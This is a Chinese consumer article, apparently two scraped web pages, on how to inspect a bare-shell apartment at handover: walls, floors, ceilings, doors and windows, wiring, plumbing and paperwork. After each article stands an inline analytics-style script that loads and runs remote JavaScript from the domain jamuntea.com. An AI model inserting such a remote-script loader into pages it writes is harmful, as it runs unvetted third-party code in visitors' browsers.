毛坯房交房时如何验房 这五点一定要仔细看

拥有一套自己的房子是现代大多数人的奋斗目标。也许是想自己选择装修风格，也许购买装修好的房子价格太高，所以有些人选择购买没有装修的毛坯房，那么当毛坯房交付时，我们必须要更加注意。在检查房子时，我们必须考虑问题的各个方面。那毛胚房交房时如何验房呢？接下来，将介绍毛胚房交房时如何验房，要注意以下五个方面，包括墙体、地面、屋顶、门窗还有电路。1.墙墙是房子最重要的部分，所以我们首先要检查墙是否有问题。最重要的是墙体表面是否平坦，然后检查是否有墙有空鼓，墙体如果有空鼓现象，但是在后期中没有注意到的话，那么在刷漆后可能导致裂缝，甚至以后附着的瓷砖也会脱落，不仅不够美观，而且存在安全隐患。.检查空鼓的方法也很简单，就是用小锤子等轻轻敲打墙壁，如果是空鼓的地方声音会很明显。2、地面检查地面是否存在问题也很重要。首先，观察地面是否平坦，是否有明显的隆起或凹陷，以及是否会有细沙粒。有细沙粒的原因是砂浆不符合水泥质量要求或施工阶段搅拌不均匀。3、屋顶屋顶是一个经常被忽视的非常重要的地方。首先，我们必须检查屋顶是否有裂缝。屋顶和地面有没有歪斜，尤其是厨房、阳台和浴室的顶部，是很容易因为裂缝导致泄漏现象的地方。4、门窗虽然门窗不显眼，但在我们生活中的角色不容忽视。因此，在这方面的检查是必不可少的。门窗是否灵活，封口是否严密，是否翘曲、变形或未关闭，所有玻璃均应再次检查，无破损，密封条、防尘条、防水条缺一不可。5.电路电线的重要性是毋庸置疑的，确保我们的生活正常和安全。检查插座和开关位置及安装是否合理。然后检查每个灯开关和电源插座是否可以正常使用。如果你有自己的房子，这将会成为你一个避风避雨的地方。掌握这些毛胚房交房时如何验房的小方法，不怕在验收时被商家忽悠。这些就是关于毛坯房交房时如何验房的相关信息，希望用户们都能尽快住在他们的新房子里。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛坯房如何验房 主要验收哪些方面

尽管许多业主选择精装房，但仍有不少业主仍然喜欢根据自己的意愿来装修装饰，毛胚房是一个不错的选择。毛胚房在交房之前同样需要仔细检查房屋，虽然不和精装房验收装修成品及效果，但是关系到房屋整体结构和基本工程。因此需要了解验房的程序和要点，那么毛坯房如何验房？主要有文件、门窗、墙体地面、水电等方面。一、毛坯房如何验房-验收文件按照规定预售房的面积和交房测量时3%的误差都属于国家允许范围，在收楼通知之前，有关部门会进行面积的测量，如果面积差的太大会进行相应补偿。毛胚房验房程序的第一步，就是验收相关房屋证明的文件，从而检验房屋各方面的达标状况。二、毛坯房如何验房-验收门窗首先查看门窗是否有划痕、凹痕和其他损坏，安装位置是否正当，开关的时候是否灵活、有无异常声音，注意锁柄是否牢固，比如说猫眼、锁孔片等配件是否安装齐全。此外验房前备好房屋装修各类型的图纸，不仅应该有房屋的平面图，而且有电路、水路设计图。三、毛坯房如何验房—验收墙体地面可以用泼水方法来检查地面的倾斜度，毛胚房这些小缺陷可以在装修期间得到修复。如果房间是由预制板或现浇板制成，则应使用腻子涂抹，以实现平坦度、无裂缝，表面光滑、颜色基本均匀并且线角直，确保每个房间每层的地面混凝土应该是表面水平、牢固的。四、毛坯房如何验房-验收水电水电是整个房子的经络，如果不达标，生活的基本需求将来也会有问题。因此有必要检查水电基础设施。检查水管是否光滑，冲洗声是否正常。检查房屋内的弱电路径是否畅通无阻，需要用兆欧表测试房屋内电线的绝缘电阻值，以确保安全使用。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();